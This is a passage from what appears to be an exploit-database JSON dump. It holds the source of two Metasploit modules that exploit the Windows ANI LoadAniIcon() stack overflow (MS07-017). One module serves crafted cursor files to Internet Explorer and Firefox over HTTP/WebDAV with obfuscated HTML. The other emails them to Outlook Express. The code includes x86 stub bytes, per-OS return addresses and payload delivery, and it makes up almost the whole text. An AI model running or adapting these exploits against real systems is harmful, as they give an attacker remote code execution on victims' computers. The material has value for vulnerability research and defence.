(comres.dll)\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t],\r\n\t\t\t'DisclosureDate' => 'Mar 28 2007',\r\n\t\t\t'DefaultTarget' => 0))\r\n\r\n\t\tregister_options(\r\n\t\t\t[\r\n\t\t\t\tOptPort.new('SRVPORT', [ true, \"The daemon port to listen on\", 80 ]),\r\n\t\t\t\tOptString.new('URIPATH', [ true, \"The URI to use.\", \"/\" ])\r\n\t\t\t], self.class)\r\n\tend\r\n\r\n\r\n#\r\n# Handle HTTP requests\r\n#\r\n\r\n\tdef on_request_uri(cli, request)\r\n\r\n\t\t#\r\n\t\t# Automatic browser and OS detection\r\n\t\t#\r\n\r\n\t\tprint_status(\"Attempting to exploit ani_loadimage_chunksize\")\r\n\t\tbrowser = ''\r\n\r\n\t\tif target['Method'] == 'automatic'\r\n\r\n\t\t\tagent = request.headers['User-Agent']\r\n\r\n\t\t\t# Check for Firefox requests\r\n\r\n\t\t\tif agent =~ /(Gecko|Microsoft-WebDAV-MiniRedir)/\r\n\r\n\t\t\t\tbrowser = 'Mozilla'\r\n\r\n\t\t\t\t# WebDAV requires that we use port 80 and the URIPATH is '/'\r\n\r\n\t\t\t\tif datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'\r\n\t\t\t\t\tprint_status(\"Mozilla request received from #{cli.peerhost}. To exploit Mozilla browsers, SRVPORT must be set to 80 and URIPATH must be '/'\")\r\n\t\t\t\t\tcli.send_response(create_response(404, \"File not found\"))\r\n\t\t\t\t\treturn\r\n\t\t\t\tend\r\n\r\n\t\t\t\tif agent =~ /(Windows NT 6\\.0|MiniRedir\\/6\\.0)/\r\n\t\t\t\t\ttarget = targets[3] # Firefox on Vista\r\n\t\t\t\telsif agent =~ /(Windows NT 5\\.1|MiniRedir\\/5\\.1)/\r\n\t\t\t\t\ttarget = targets[4] # Firefox on XP\r\n\t\t\t\telsif agent =~ /(Windows NT 5\\.2|MiniRedir\\/5\\.2)/\r\n\t\t\t\t\ttarget = targets[5] # Firefox on 2003\r\n\t\t\t\telse\r\n\t\t\t\t\tprint_status(\"Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}\")\r\n\t\t\t\t\treturn\r\n\t\t\t\tend\r\n\r\n\t\t\t# Check for MSIE requests\r\n\r\n\t\t\telsif agent =~ /MSIE/\r\n\r\n\t\t\t\tbrowser = 'IE'\r\n\r\n\t\t\t\tif agent =~ /Windows NT 6\\.0/\r\n\t\t\t\t\ttarget = targets[3] # IE7 on Vista\r\n\t\t\t\telsif agent =~ /MSIE 7\\.0/\r\n\t\t\t\t\ttarget = targets[2] # IE7 on XP and 2003\r\n\t\t\t\telsif agent =~ /MSIE 6\\.0/\r\n\t\t\t\t\ttarget = targets[1] # IE6 on NT, 2000, XP and 2003\r\n\t\t\t\telse\r\n\t\t\t\t\tprint_status(\"Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}\")\r\n\t\t\t\t\treturn\r\n\t\t\t\tend\r\n\r\n\t\t\t# Unknown user agent\r\n\r\n\t\t\telse\r\n\t\t\t\tprint_status(\"Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}\")\r\n\t\t\t\treturn\r\n\t\t\tend\r\n\r\n\t\tend\r\n\r\n\t\t#\r\n\t\t# Find out if this is a request for an ANI file\r\n\t\t#\r\n\r\n\t\t# Mozilla always uses a .ani extension, but IE randomly picks one of the\r\n\t\t# other extensions for the ANI request\r\n\t\texts = ['bmp', 'wav', 'png', 'zip', 'tar', 'ani']\r\n\r\n\t\tani_request = false\r\n\r\n\t\tmatch = /\\.(...)$/.match(request.uri)\r\n\r\n\t\tif match and exts.include?(match[1])\r\n\t\t\tani_request = true\r\n\t\tend\r\n\r\n\t\t#\r\n\t\t# OPTIONS and PROPFIND requests sent by the WebDav Mini-Redirector\r\n\t\t#\r\n\r\n\t\tif request.method == 'OPTIONS'\r\n\t\t\tprint_status(\"Received WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}\")\r\n\t\t\theaders = {\r\n\t\t\t\t'DASL' => '<DAV:sql>',\r\n\t\t\t\t'DAV' => '1, 2',\r\n\t\t\t\t'Public' => 'OPTIONS, GET, PROPFIND',\r\n\t\t\t\t'Allow' => 'OPTIONS, GET, PROPFIND'\r\n\t\t\t}\r\n\t\t\tsend_response(cli, '', headers)\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\tif request.method == 'PROPFIND'\r\n\t\t\tprint_status(\"Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}\")\r\n\r\n\t\t\tbody = ''\r\n\r\n\t\t\tif (not ani_request)\r\n\t\t\t\t# Response for directories\r\n\t\t\t\tbody = '<?xml version=\"1.0\"?><a:multistatus xmlns:a=\"DAV:\"><a:response><a:propstat><a:prop><a:resourcetype><a:collection/></a:resourcetype></a:prop></a:propstat></a:response></a:multistatus>'\r\n\t\t\telse\r\n\t\t\t\t# Response for files\r\n\t\t\t\tbody = '<?xml version=\"1.0\"?><a:multistatus xmlns:b=\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\" xmlns:c=\"xml:\" xmlns:a=\"DAV:\"><a:response></a:response></a:multistatus>'\r\n\t\t\tend\r\n\r\n\t\t\tsend_response(cli, body, {'Content-Type' => 'text/xml'})\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\t#\r\n\t\t# HTML requests sent by IE and Firefox\r\n\t\t#\r\n\r\n\t\tif (not ani_request)\r\n\r\n\t\t\t# Pick a random extension to use when we generate HTML. The moz-icon URL\r\n\t\t\t# must have a .ani extension, but we can use a random one for IE\r\n\r\n\t\t\texts.delete('ani')\r\n\t\t\text = exts[rand(exts.length)]\r\n\r\n\t\t\t# Generate the HTML\r\n\r\n\t\t\thtml =\r\n\t\t\t\t\"<html>\" +\r\n\t\t\t\t\"<head><title>\" + random_padding + \"</title></head>\" +\r\n\t\t\t\t\"<body>\" +\r\n\t\t\t\trandom_padding +\r\n\t\t\t\t(browser == 'IE' ? generate_ie_html(ext) : generate_mozilla_html) +\r\n\t\t\t\trandom_padding +\r\n\t\t\t\t\"</body>\" +\r\n\t\t\t\t\"</html>\"\r\n\r\n\t\t\tprint_status(\"Sending HTML page to #{cli.peerhost}:#{cli.peerport}...\")\r\n\r\n\t\t\tsend_response(cli, html)\r\n\t\t\treturn\r\n\t\t\tend\r\n\r\n\t\t#\r\n\t\t# ANI requests sent by IE and the WebDav Mini-Redirector\r\n\t\t#\r\n\r\n\t\t# Re-generate the payload\r\n\t\treturn if ((p = regenerate_payload(cli)) == nil)\r\n\r\n\t\tprint_status(\"Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...\")\r\n\r\n\t\t# Transmit the compressed response to the client\r\n\t\tsend_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })\r\n\tend\r\n\r\n\r\n\t#\r\n\t# Generate a <div> element with a style attribute referencing the ANI file\r\n\t#\r\n\r\n\tdef generate_ie_html(ext)\r\n\t\tpath = get_resource.sub(/\\/$/, '')\r\n\r\n\t\t\"<div style='\" +\r\n\t\trandom_css_padding +\r\n\t\tRex::Text.to_rand_case(\"cursor\") +\r\n\t\trandom_css_padding +\r\n\t\t\":\" +\r\n\t\trandom_css_padding +\r\n\t\tRex::Text.to_rand_case(\"url(\") +\r\n\t\trandom_css_padding +\r\n\t\t'\"' +\r\n\t\tpath + '/' + rand_text_alphanumeric(rand(80)+16) + '.' + ext +\r\n\t\t'\"' +\r\n\t\trandom_css_padding +\r\n\t\t\");\" +\r\n\t\trandom_css_padding +\r\n\t\t\"'>\" +\r\n\t\trandom_padding +\r\n\t\t\"</div>\"\r\n\tend\r\n\r\n\r\n\t#\r\n\t# Generate a img tag with a moz-icon URL referencing the ANI file\r\n\t#\r\n\r\n\tdef generate_mozilla_html\r\n\t\tpath = get_resource.gsub(/\\/$/, '')\r\n\r\n\t\t# The UNC path of the ANI file must have at least one directory level,\r\n\t\t# otherwise the WebDAV redirector will not work\r\n\t\tif path == ''\r\n\t\tpath = '/' + rand_text_alphanumeric(rand(80)+16)\r\n\t\tend\r\n\r\n\t\treturn '<img src=\"moz-icon:file://///' +\r\n\t\tdatastore['SRVHOST'] +\r\n\t\tpath + '/' + rand_text_alphanumeric(rand(80)+16) + '.ani\">'\r\n\tend\r\n\r\n\r\n\t#\r\n\t# Generate CSS padding\r\n\t#\r\n\r\n\tdef random_css_padding\r\n\t\tbuf =\r\n\t\trandom_whitespace +\r\n\t\t\"/*\" +\r\n\t\trandom_whitespace +\r\n\t\trandom_padding +\r\n\t\trandom_whitespace +\r\n\t\t\"*/\" +\r\n\t\trandom_whitespace\r\n\tend\r\n\r\n\r\n\t#\r\n\t# Generate random whitespace\r\n\t#\r\n\r\n\tdef random_whitespace\r\n\t\tlen = rand(100)+2\r\n\t\tset = \"\\x09\\x20\\x0d\\x0a\"\r\n\t\tbuf = ''\r\n\r\n\t\twhile (buf.length < len)\r\n\t\tbuf << set[rand(set.length)].chr\r\n\t\tend\r\n\t\tbuf\r\n\tend\r\n\r\n\r\n\t#\r\n\t# Generate random padding\r\n\t#\r\n\r\n\tdef random_padding\r\n\t\trand_text_alphanumeric(rand(128)+4)\r\n\tend\r\n\r\n\r\n\t#\r\n\t# Generate an ANI file that will trigger the vulnerability\r\n\t#\r\n\r\n\tdef generate_ani(payload, target)\r\n\r\n\t\t# Valid ANI header\r\n\r\n\t\theader = [\r\n\t\t\t36, # cbSizeOf (must be 36)\r\n\t\t\trand(128)+16, # cFrames (must be > 1 and < 0x10000)\r\n\t\t\trand(1024)+1, # cSteps (must be < 0x10000)\r\n\t\t\t0, 0, # cx, cy\r\n\t\t\t0, # cBitCount\r\n\t\t\t0, # cPlanes\r\n\t\t\t0, # JifRate\r\n\t\t\t1 # Flags (must have the LSB bit set)\r\n\t\t].pack('V9')\r\n\r\n\t\toverflow = ''\r\n\r\n\t\tif target['Method'] == 'jmpesp'\r\n\r\n\t\t# ANI header that triggers the overflow:\r\n\t\toverflow =\r\n\t\t\t# 36 bytes of fake header\r\n\r\n\t\t\t# When we get control, the ebx and esi registers have the following values:\r\n\t\t\t#\r\n\t\t\t# 2000, XP, 2003 before MS05-002\r\n\t\t\t# ebx = 0, esi = pointer to MappedFile struct\r\n\t\t\t#\r\n\t\t\t# NT before MS05-002\r\n\t\t\t# ebx = pointer to dword 1, esi = pointer to MappedFile struct\r\n\t\t\t#\r\n\t\t\t# all versions after MS05-002, including XP SP2 and 2003 SP1\r\n\t\t\t# ebx = pointer to MappedFile struct\r\n\t\t\t#\r\n\t\t\t# The first field in MappedFile is a pointer to the ANI file\r\n\r\n\t\t\t\"\\x85\\xDB\" + # test ebx,ebx\r\n\t\t\t\"\\x74\\x0A\" + # jz jmp_esi 2000, XP, 2003 before MS05-002\r\n\t\t\t\"\\x81\\x3B\\x01\\x00\\x00\\x00\" + # cmp dword [ebx], 0x1\r\n\t\t\t\"\\x74\\x02\" + # jz jmp_esi NT before MS05-002\r\n\t\t\t\"\\x89\\xDE\" + # mov esi, ebx all versions after MS05-002\r\n\t\t# jmp_esi:\r\n\t\t\t\"\\x8B\\x36\" + # mov esi,[esi] pointer to ANI file\r\n\t\t\t\"\\x81\\x3E\\x52\\x49\\x46\\x46\" + # cmp [esi], 'RIFF'\r\n\t\t\t\"\\x75\\x02\" + # jnz failed\r\n\t\t\t\"\\xFF\\xE6\" + # jmp esi\r\n\t\t# failed:\r\n\t\t\t\"\\x31\\xc0\" + # xor eax, eax\r\n\t\t\t\"\\x8b\\x00\" + # mov eax, [0] exit via SEH\r\n\t\t\trand_text(2) +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # header flags (LSB bit must be set to 0)\r\n\r\n\t\t\t# end of header\r\n\r\n\t\t\trand_text(4*6) + # local variables\r\n\r\n\t\t\t# The following local variables must be NULL to avoid calls to\r\n\t\t\t# HeapFree and NtUserDestroyCursor\r\n\r\n\t\t\t\t\t\t\t\t\t# 2000, XP, 2003 SP0 2003 SP1\r\n\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # var_10\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # var_C\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # var_C\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # var_8\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # var_4\r\n\r\n\t\t\t[\r\n\t\t\t\ttarget['Ret1'], # return address for NT, 2000, XP and 2003 SP0\r\n\t\t\t\ttarget['Ret2'] # return address for 2003 SP1\r\n\t\t\t].pack('VV') +\r\n\r\n\t\t\trand_text(4*4) + # function arguments\r\n\r\n\t\t\t\"\\x90\\x90\\x90\\x90\" + # jmp esp on NT, 2000, XP and 2003 SP0 lands\r\n\t\t\t\t\t\t\t\t\t# here, 2003 SP1 lands on the next dword\r\n\r\n\t\t\t\"\\xeb\\x92\" # jump back to the shellcode in the ANI header\r\n\r\n\t\telsif target['Method'] == 'partial'\r\n\r\n\t\t# ANI header that triggers the overflow:\r\n\r\n\t\toverflow =\r\n\r\n\t\t\t# 36 bytes of fake header\r\n\r\n\t\t\trand_text(32) +\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # header flags (LSB bit must be set to 0)\r\n\r\n\t\t\t# end of header\r\n\r\n\t\t\trand_text(4*8) + # local variables\r\n\r\n\t\t\t# The following local variables must be NULL to avoid calls to\r\n\t\t\t# HeapFree and NtUserDestroyCursor on Vista\r\n\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # var_C\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # var_8\r\n\t\t\t\"\\x00\\x00\\x00\\x00\" + # var_4\r\n\r\n\t\t\trand_text(4) + # saved ebp\r\n\r\n\t\t\t[\r\n\t\t\t\ttarget['Ret'], # 2 byte partial overwrite of the return address\r\n\t\t\t].pack('v')\r\n\r\n\t\telse\r\n\t\t\traise \"Unknown target #{targetr['Method']}\"\r\n\t\tend\r\n\r\n\t\t# Build the ANI file\r\n\r\n\t\t# The shellcode execution begins at the RIFF signature:\r\n\t\t#\r\n\t\t# 'R' 52 push edx\r\n\t\t# 'I' 49 dec ecx\r\n\t\t# 'F' 46 inc esi\r\n\t\t# 'F' 46 inc esi\r\n\t\t# eb 3a jmp +3a # jmp to the code in the payload chunk\r\n\t\tani =\r\n\t\t\"RIFF\" + \"\\xeb\\x3a\\x00\\x00\" +\r\n\t\t\t\"ACON\" +\r\n\t\t\triff_chunk(\"anih\", header) +\r\n\r\n\t\t\t# payload chunk\r\n\t\t\triff_chunk(random_riff_tag,\r\n\t\t\tRex::Arch::X86.copy_to_stack(payload.encoded.length) +\r\n\t\t\tpayload.encoded) +\r\n\r\n\t\t\trandom_riff_chunks +\r\n\r\n\t\t\t# the second anih chunk trigger the overflow\r\n\t\t\triff_chunk(\"anih\", overflow) +\r\n\r\n\t\t\trandom_riff_chunks\r\n\r\n\t\treturn ani\r\n\tend\r\n\r\nend\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/16526/"}, {"lastseen": "2016-02-02T06:17:43", "description": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP). CVE-2007-0038,CVE-2007-1765. Remote exploit for windows platform", "published": "2010-09-20T00:00:00", "type": "exploitdb", "title": "Windows ANI LoadAniIcon Chunk Size Stack Buffer Overflow SMTP", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2010-09-20T00:00:00", "id": "EDB-ID:16698", "href": "https://www.exploit-db.com/exploits/16698/", "sourceData": "##\r\n# $Id: ms07_017_ani_loadimage_chunksize.rb 10394 2010-09-20 08:06:27Z jduck $\r\n##\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\n\r\nrequire 'msf/core'\r\n\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = GreatRanking\r\n\r\n\t#\r\n\t# This module sends email messages via smtp\r\n\t#\r\n\tinclude Msf::Exploit::Remote::SMTPDeliver\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\tThis module exploits a buffer overflow vulnerability in the\r\n\t\t\t\tLoadAniIcon() function of USER32.dll. The flaw is triggered\r\n\t\t\t\tthrough Outlook Express by using the CURSOR style sheet\r\n\t\t\t\tdirective to load a malicious .ANI file.\r\n\r\n\t\t\t\tThis vulnerability was discovered by Alexander Sotirov of Determina\r\n\t\t\t\tand was rediscovered, in the wild, by McAfee.\r\n\t\t\t},\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Author' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t'hdm', # First version\r\n\t\t\t\t\t'skape', # Vista support\r\n\t\t\t\t],\r\n\t\t\t'Version' => '$Revision: 10394 $',\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t['MSB', 'MS07-017'],\r\n\t\t\t\t\t['CVE', '2007-0038'],\r\n\t\t\t\t\t['CVE', '2007-1765'],\r\n\t\t\t\t\t['OSVDB', '33629'],\r\n\t\t\t\t\t['BID', '23194'],\r\n\t\t\t\t\t['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],\r\n\t\t\t\t\t['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'],\r\n\t\t\t\t\t['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],\r\n\t\t\t\t],\r\n\t\t\t'Stance' => Msf::Exploit::Stance::Passive,\r\n\t\t\t'DefaultOptions' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t# Cause internet explorer to exit after the code hits\r\n\t\t\t\t\t'EXITFUNC' => 'process',\r\n\t\t\t\t},\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'Space' => 1024 + (rand(1000)),\r\n\t\t\t\t\t'MinNops' => 32,\r\n\t\t\t\t\t'Compat' =>\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'ConnectionType' => '-bind -find',\r\n\t\t\t\t\t\t},\r\n\r\n\t\t\t\t\t'StackAdjustment' => -3500,\r\n\t\t\t\t},\r\n\t\t\t'Platform' => 'win',\r\n\t\t\t'Targets' =>\r\n\t\t\t\t[\r\n\r\n\t\t\t\t\t#\r\n\t\t\t\t\t# Use multiple cursor URLs to try all targets. This can result in\r\n\t\t\t\t\t# multiple, sequential sessions\r\n\t\t\t\t\t#\r\n\r\n\t\t\t\t\t[ 'Automatic', {} ],\r\n\r\n\t\t\t\t\t#\r\n\t\t\t\t\t# The following targets use call [ebx+4], just like the original exploit\r\n\t\t\t\t\t#\r\n\r\n\t\t\t\t\t# Partial overwrite doesn't work for Outlook Express\r\n\t\t\t\t\t[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],\r\n\r\n\t\t\t\t\t# Should work for all English XP SP2\r\n\t\t\t\t\t[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],\r\n\r\n\t\t\t\t\t# Supplied by Fabrice MOURRON <fab[at]revhosts.net>\r\n\t\t\t\t\t[ 'Windows XP SP2 userenv.dll French', { 'Ret' => 0x7699c81a }],\r\n\r\n\t\t\t\t\t# Should work for English XP SP0/SP1\r\n\t\t\t\t\t[ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],\r\n\r\n\t\t\t\t\t# Should work for English 2000 SP0-SP4+\r\n\t\t\t\t\t[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],\r\n\r\n\t\t\t\t\t#\r\n\t\t\t\t\t# Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start\r\n\t\t\t\t\t# of the RIFF chunk itself. The length field of the RIFF chunk\r\n\t\t\t\t\t# tag contains a short jump into an embedded riff chunk that\r\n\t\t\t\t\t# makes a long relative jump into the actual payload.\r\n\t\t\t\t\t#\r\n\t\t\t\t\t[ 'Windows Vista user32.dll 6.0.6000.16386',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'Ret' => 0x700b,\r\n\t\t\t\t\t\t\t'Len' => 2,\r\n\r\n\t\t\t\t\t\t\t# On Vista, the pages that contain the RIFF are read-only.\r\n\t\t\t\t\t\t\t# In-place decoders cannot be used.\r\n\t\t\t\t\t\t\t'Payload' => { 'EncoderType' => Msf::Encoder::Type::Raw }\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\r\n\t\t\t\t\t#\r\n\t\t\t\t\t# Supplied by ramon[at]risesecurity.org\r\n\t\t\t\t\t#\r\n\r\n\t\t\t\t\t# call [ebx+4]\r\n\t\t\t\t\t[ 'Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language', { 'Ret' => 0x25d0, 'Len' => 2 }],\r\n\t\t\t\t\t[ 'Windows XP SP2 user32.dll (5.1.2600.2180) English', { 'Ret' => 0x77d825d0 }],\r\n\t\t\t\t\t[ 'Windows XP SP2 userenv.dll Portuguese (Brazil)', { 'Ret' => 0x769dc81a }],\r\n\r\n\t\t\t\t\t# call [esi+4]\r\n\t\t\t\t\t[ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }],\r\n\t\t\t\t\t[ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }]\r\n\t\t\t\t],\r\n\t\t\t'DisclosureDate' => 'Mar 28 2007',\r\n\t\t\t'DefaultTarget' => 0))\r\n\r\n\tend\r\n\r\n\tdef autofilter\r\n\t\tfalse\r\n\tend\r\n\r\n\tdef exploit\r\n\r\n\t\texts = ['bmp', 'wav', 'png', 'zip', 'tar']\r\n\r\n\t\tgext = exts[rand(exts.length)]\r\n\t\tname = rand_text_alpha(rand(10)+1) + \".#{gext}\"\r\n\r\n\t\tanis = {}\r\n\r\n\t\thtml =\r\n\t\t\t\"<html><head><title>\" +\r\n\t\t\t\trand_text_alphanumeric(rand(128)+4) +\r\n\t\t\t\"</title>\" +\r\n\t\t\t\"</head><body>\" + rand_text_alphanumeric(rand(128)+1)\r\n\r\n\r\n\t\tmytargs = (target.name =~ /Automatic/) ? targets : [target]\r\n\r\n\t\tif target.name =~ /Automatic/\r\n\t\t\ttargets.each_index { |i|\r\n\t\t\t\tnext if not targets[i].ret\r\n\t\t\t\tacid = generate_cid\r\n\t\t\t\thtml << generate_div(\"cid:#{acid}\")\r\n\r\n\t\t\t\t# Re-generate the payload, using the explicit target\r\n\t\t\t\treturn if ((p = regenerate_payload(nil, nil, targets[i])) == nil)\r\n\r\n\t\t\t\t# Generate an ANI file for this target\r\n\t\t\t\tanis[acid] = generate_ani(p, targets[i])\r\n\t\t\t}\r\n\t\telse\r\n\t\t\tacid = generate_cid\r\n\t\t\thtml << generate_div(\"cid:#{acid}\")\r\n\r\n\t\t\t# Re-generate the payload, using the explicit target\r\n\t\t\treturn if ((p = regenerate_payload(nil, nil, target)) == nil)\r\n\r\n\t\t\t# Generate an ANI file for this target\r\n\t\t\tanis[acid] = generate_ani(p, target)\r\n\t\tend\r\n\r\n\t\thtml << \"</body></html>\"\r\n\r\n\r\n\t\tmsg = Rex::MIME::Message.new\r\n\t\tmsg.mime_defaults\r\n\t\tmsg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)\r\n\t\tmsg.to = datastore['MAILTO']\r\n\t\tmsg.from = datastore['MAILFROM']\r\n\r\n\t\tmsg.add_part(Rex::Text.encode_base64(html, \"\\r\\n\"), \"text/html\", \"base64\", \"inline\")\r\n\t\tanis.each_pair do |cid,ani|\r\n\t\t\tpart = msg.add_part_attachment(ani, cid + \".\" + gext)\r\n\t\t\tpart.header.set(\"Content-ID\", \"<\"+cid+\">\")\r\n\t\tend\r\n\r\n\t\tsend_message(msg.to_s)\r\n\r\n\t\tprint_status(\"Waiting for a payload session (backgrounding)...\")\r\n\tend\r\n\r\n\tdef generate_cid\r\n\t\trand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8)\r\n\tend\r\n\r\n\tdef generate_div(url)\r\n\t\t\"<div style='\" +\r\n\t\t\tgenerate_css_padding() +\r\n\t\t\tRex::Text.to_rand_case(\"cursor\") +\r\n\t\t\tgenerate_css_padding() +\r\n\t\t\t\":\" +\r\n\t\t\tgenerate_css_padding() +\r\n\t\t\tRex::Text.to_rand_case(\"url(\") +\r\n\t\t\tgenerate_css_padding() +\r\n\t\t\t\"\\\"#{url}\\\"\" +\r\n\t\t\tgenerate_css_padding() +\r\n\t\t\t\");\" +\r\n\t\t\tgenerate_css_padding() +\r\n\t\t\t\"'>\" +\r\n\t\t\tgenerate_padding() +\r\n\t\t\"</div>\"\r\n\tend\r\n\r\n\tdef generate_ani(payload, target)\r\n\r\n\t\t# Build the first ANI header\r\n\t\tanih_a = [\r\n\t\t\t36, # DWORD cbSizeof\r\n\t\t\trand(128)+16, # DWORD cFrames\r\n\t\t\trand(1024)+1, # DWORD cSteps\r\n\t\t\t0, # DWORD cx,cy (reserved - 0)\r\n\t\t\t0, # DWORD cBitCount, cPlanes (reserved - 0)\r\n\t\t\t0, 0, 0, # JIF jifRate\r\n\t\t\t1 # DWORD flags\r\n\t\t].pack('V9')\r\n\r\n\t\tanih_b = nil\r\n\r\n\t\tif (target.name =~ /Vista/)\r\n\t\t\t# Vista has ebp=80, eip=84\r\n\t\t\tanih_b = rand_text(84)\r\n\r\n\t\t\t# Patch local variables and loop counters\r\n\t\t\tanih_b[68, 12] = [0].pack(\"V\") * 3\r\n\t\telse\r\n\t\t\t# XP/2K has ebp=76 and eip=80\r\n\t\t\tanih_b = rand_text(80)\r\n\r\n\t\t\t# Patch local variables and loop counters\r\n\t\t\tanih_b[64, 12] = [0].pack(\"V\") * 3\r\n\t\tend\r\n\r\n\t\t# Overwrite the return with address of a \"call ptr [ebx+4]\"\r\n\t\tanih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]\r\n\r\n\t\t# Begin the ANI chunk\r\n\t\triff = \"ACON\"\r\n\r\n\t\t# Calculate the data offset for the trampoline chunk and add\r\n\t\t# the trampoline chunk if we're attacking Vista\r\n\t\tif target.name =~ /Vista/\r\n\t\t\ttrampoline_doffset = riff.length + 8\r\n\r\n\t\t\triff << generate_trampoline_riff_chunk\r\n\t\tend\r\n\r\n\t\t# Insert random RIFF chunks\r\n\t\t0.upto(rand(128)+16) do |i|\r\n\t\t\triff << generate_riff_chunk()\r\n\t\tend\r\n\r\n\t\t# Embed the first ANI header\r\n\t\triff << \"anih\" + [anih_a.length].pack('V') + anih_a\r\n\r\n\t\t# Insert random RIFF chunks\r\n\t\t0.upto(rand(128)+16) do |i|\r\n\t\t\triff << generate_riff_chunk()\r\n\t\tend\r\n\r\n\t\t# Trigger the return address overwrite\r\n\t\triff << \"anih\" + [anih_b.length].pack('V') + anih_b\r\n\r\n\t\t# If this is a Vista target, then we need to align the length of the\r\n\t\t# RIFF chunk so that the low order two bytes are equal to a jmp $+0x16\r\n\t\tif target.name =~ /Vista/\r\n\t\t\tplen = (riff.length & 0xffff0000) | 0x0eeb\r\n\t\t\tplen += 0x10000 if (plen - 8) < riff.length\r\n\r\n\t\t\triff << generate_riff_chunk((plen - 8) - riff.length)\r\n\r\n\t\t\t# Replace the operand to the relative jump to point into the actual\r\n\t\t\t# payload itself which comes after the riff chunk\r\n\t\t\triff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')\r\n\t\tend\r\n\r\n\t\t# Place the RIFF chunk in front and off we go\r\n\t\tret = \"RIFF\" + [riff.length].pack('V') + riff\r\n\r\n\t\t# We copy the encoded payload to the stack because sometimes the RIFF\r\n\t\t# image is mapped in read-only pages. This would prevent in-place\r\n\t\t# decoders from working, and we can't have that.\r\n\t\tret << Rex::Arch::X86.copy_to_stack(payload.encoded.length)\r\n\r\n\t\t# Place the real payload right after it.\r\n\t\tret << payload.encoded\r\n\r\n\t\tret\r\n\r\n\tend\r\n\r\n\t# Generates a riff chunk with the first bytes of the data being a relative\r\n\t# jump. This is used to bounce to the actual payload\r\n\tdef generate_trampoline_riff_chunk\r\n\t\ttag = Rex::Text.to_rand_case(rand_text_alpha(4))\r\n\t\tdat = \"\\xe9\\xff\\xff\\xff\\xff\" + rand_text(1) + (rand_text(rand(256)+1) * 2)\r\n\t\ttag +\t[dat.length].pack('V') + dat\r\n\tend\r\n\r\n\tdef generate_riff_chunk(len = (rand(256)+1) * 2)\r\n\t\ttag = Rex::Text.to_rand_case(rand_text_alpha(4))\r\n\t\tdat = rand_text(len)\r\n\t\ttag + [dat.length].pack('V') + dat\r\n\tend\r\n\r\n\tdef generate_css_padding\r\n\t\tbuf =\r\n\t\t\tgenerate_whitespace() +\r\n\t\t\t\"/*\" +\r\n\t\t\tgenerate_whitespace() +\r\n\t\t\tgenerate_padding() +\r\n\t\t\tgenerate_whitespace() +\r\n\t\t\t\"*/\" +\r\n\t\t\tgenerate_whitespace()\r\n\tend\r\n\r\n\tdef generate_whitespace\r\n\t\tlen = rand(100)+2\r\n\t\tset = \"\\x09\\x20\\x0d\\x0a\"\r\n\t\tbuf = ''\r\n\r\n\t\twhile (buf.length < len)\r\n\t\t\tbuf << 